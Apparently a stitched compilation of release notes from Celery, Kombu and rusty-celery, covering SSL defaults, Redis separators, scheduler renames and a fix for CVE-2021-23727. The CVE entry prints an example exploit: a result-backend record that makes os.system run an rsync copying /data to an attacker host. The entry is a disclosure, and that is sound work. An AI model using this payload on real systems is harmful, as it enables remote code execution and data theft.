.. _version-5.2.2:

5.2.2

=====

:release-date: 2021-12-26 16:30 P.M UTC+2:00
:release-by: Omer Katz

- Various documentation fixes.
- Fix CVE-2021-23727 (Stored Command Injection security vulnerability).

 When a task fails, the failure information is serialized in the backend.
 In some cases, the exception class is only importable from the
 consumer&#x27;s code base. In this case, we reconstruct the exception class
 so that we can re-raise the error on the process which queried the
 task&#x27;s result. This was introduced in 4836.
 If the recreated exception type isn&#x27;t an exception, this is a security issue.
 Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
 ``os.system(&quot;rsync /data attacker192.168.56.100:~/data&quot;)``
 by setting the task&#x27;s result to a failure in the result backend with the os,
 the system function as the exception type and the payload ``rsync /data attacker192.168.56.100:~/data`` as the exception arguments like so:

 .. code-block:: python

     {
           &quot;exc_module&quot;: &quot;os&quot;,
           &#x27;exc_type&#x27;: &quot;system&quot;,
           &quot;exc_message&quot;: &quot;rsync /data attacker192.168.56.100:~/data&quot;
     }

 According to my analysis, this vulnerability can only be exploited if
 the producer delayed a task which runs long enough for the
 attacker to change the result mid-flight, and the producer has
 polled for the task&#x27;s result.
 The attacker would also have to gain access to the result backend.
 The severity of this security vulnerability is low, but we still
 recommend upgrading.

[v0.4.0-rc8](https://github.com/rusty-celery/rusty-celery/releases/tag/v0.4.0-rc8) - 2021-08-05

Changed

- ⚠️ **BREAKING CHANGE** ⚠️

The `RegularSchedule` in the `beat` module has been renamed to `DeltaSchedule` to
be more coherent with Python Celery terminology, where it is sometimes called *timedelta*.
- Tokio updated to 1.0.0.
- The `Broker::configure_task_routes` produces `BrokerError` instead of `CeleryError`.
- The `beat` macro now expects a list of tasks that is used to initialize the scheduler.
- Errors have been refactored:
* The `BadRoutingPattern` variant has been moved from `CeleryError` to `BrokerError`;
* The `CronScheduleError` has been replaced by a `ScheduleError` enum with a `CronScheduleError` variant;
* A `ScheduleError` variant has been added to `BeatError`
* A `BadRoutingPattern` error has been added.

Added

- 🚀🚀 Redis broker support 🚀🚀
- Added the `max_sleep_duration` property on the `Beat` which can be used to ensure that
the scheduler backend is called regularly (which may be necessary for custom backends).
- Added a method `Beat::schedule_named_task` to add a scheduled task with a custom name.
- Added a method `Broker::cancel` to cancel an existing consumer.
- Changed `Ok` variant type of the the return type of `Broker::consume`. This is now a tuple that includes a unique
consumer tag that can then be passed to `Broker::cancel` to cancel the corresponding consumer.
- Added a &quot;coverage&quot; job to GitHub Actions.
- Completed MessageBuilder struct

Fixed

- Fixed a bug with `AMQPBroker::close()` that would result in an error with `lapin`.
- Fixed a bug with the `celery::app!` macro that caused it to fail to compile when the broker connection string was passed as a variable instead of an expression.

[v0.4.0-rc5](https://github.com/rusty-celery/rusty-celery/releases/tag/v0.4.0-rc5) - 2020-11-19

Added

- Added the `CronSchedule` struct to support Celery&#x27;s
[crontab](https://docs.celeryproject.org/en/stable/reference/celery.schedules.html#celery.schedules.crontab)
schedules.

Changed

- ⚠️ **BREAKING CHANGE** ⚠️

To improve the `app!` and `beat!` macros and accommodate custom `Broker`s and `SchedulerBackend`s,
we&#x27;ve had to make breaking changes to the way these macros are invoked.

The biggest change is that the macros now return a future of `Result&lt;Celery&gt;` or `Result&lt;Beat&gt;`.
This means you must now call `.await?` on the return value of the macro.

The other change is that you must now supply the actual `Broker` type.
Previously, you could write something like `broker = AMQP { &quot;amqp://my-broker-url&quot; }`,
but now you have to write it like `broker = celery::broker::AMQPBroker { &quot;amqp://my-broker-url&quot; }`.

For a concrete example of these changes, the old way looked like this:


rust
[tokio::main]
async fn main() -&gt; anyhow::Result&lt;()&gt; {
   let app = celery::app!(
       broker = AMQP { &quot;amqp://my-broker-url&quot; },
       tasks = [add],
       task_routes = [&quot;*&quot; =&gt; &quot;celery&quot;],
   );

   // ...

   Ok(())
}


Whereas now that will look like this:

rust
[tokio::main]
async fn main() -&gt; anyhow::Result&lt;()&gt; {
   let app = celery::app!(
       broker = celery::broker::AMQPBroker { &quot;amqp://my-broker-url&quot; },
       tasks = [add],
       task_routes = [&quot;*&quot; =&gt; &quot;celery&quot;],
   ).await?;

   // ...

   Ok(())
}


- Celery apps no longer need to have static lifetimes. To remove this constraint, we changed
`Celery::consume` to take `&amp;Arc&lt;Self&gt;` instead of a static reference to `self`.
- Now using `tokio-amqp` internally with `lapin`.
- Drop explicit dependency on amq-protocol.

Fixed

- Task ID now logged when a beat app sends a task.
- Fixes to docs. Added a &quot;Build Docs&quot; job to GitHub Actions.
- Fixed a Celery beat [issue](https://github.com/rusty-celery/rusty-celery/issues/199)
that caused a task to be dropped if its scheduled run was delayed

5.0.3

=====
:release-date: 2021-01-19 9:00 P.M UTC+6:00
:release-by: Asif Saif Uddin

- Change the default value of ssl_version to None. When not set, the
proper value between ssl.PROTOCOL_TLS_CLIENT and ssl.PROTOCOL_TLS_SERVER
will be selected based on the param server_side in order to create
a TLS Context object with better defaults that fit the desired
connection side.

- Change the default value of cert_reqs to None. The default value
of ctx.verify_mode is ssl.CERT_NONE, but when ssl.PROTOCOL_TLS_CLIENT
is used, ctx.verify_mode defaults to ssl.CERT_REQUIRED.

- Fix context.check_hostname logic. Checking the hostname depends on
having support of the SNI TLS extension and being provided with a
server_hostname value. Another important thing to mention is that
enabling hostname checking automatically sets verify_mode from
ssl.CERT_NONE to ssl.CERT_REQUIRED in the stdlib ssl and it cannot
be set back to ssl.CERT_NONE as long as hostname checking is enabled.

- Refactor the SNI tests to test one thing at a time and removing some
tests that were being repeated over and over.

=====
:release-date: 2019-03-3 18:30 P.M UTC+3:00
:release-by: Omer Katz

- The Redis transport now supports a custom separator for keys.

Previously when storing a key in Redis which represents a queue
we used the hardcored value ``\x06\x16`` separator to store
different attributes of the queue in the queue&#x27;s name.

The separator is now configurable using the sep
transport option:

.. code-block:: python

 with Connection(&#x27;redis://&#x27;, transport_options={
         &#x27;sep&#x27;: &#x27;:&#x27;,
     }):
      ...
     pass

 &gt;&gt;&gt; q.name

- Added an index to the Message table for the SQLAlchemy transport.

The index allows to effectively sorting the table by the message&#x27;s timestamp.

.. note::

 We do not provide migrations for this model yet.
 You will need to add the index manually if you are already
 using the SQLAlchemy transport.

 The syntax may vary between databases.
 Please refer to your database&#x27;s documentation for instructions.

- Added a timeout that limits the amount of time we retry
to reconnect to a transport.

- :class:``celery.asynchronous.hub.Hub`` is now reentrant.

This allows calling :func:`celery.bin.celery.main` to revive a worker in
the same process after rescuing from shutdown (:class:``SystemExit``).

- Queues now accept string exchange names as arguments as documented.

Tests were added to avoid further regressions.

Contributed by **Antonio Gutierrez**

- Specifying names for broadcast queues now work as expected.

Previously, named broadcast queues did not create multiple queues per worker.
They incorrectly declared the named queue which resulted in one queue per
fanout exchange, thus missing the entire point of a fanout exchange.
The behavior is now matched to unnamed broadcast queues.

This allows :class:``kombu.simple.SimpleQueue`` to connect to RabbitMQ queues with
custom arguments like &#x27;x-queue-mode&#x27;=&#x27;lazy&#x27;.

Contributed by **C Blue Neeh**

- Add support for &#x27;rediss&#x27; scheme for secure Redis connections.

The rediss scheme defaults to the least secure form, as
there is no suitable default location for `ca_certs`. The recommendation
would still be to follow the documentation and specify `broker_use_ssl` if
coming from celery.
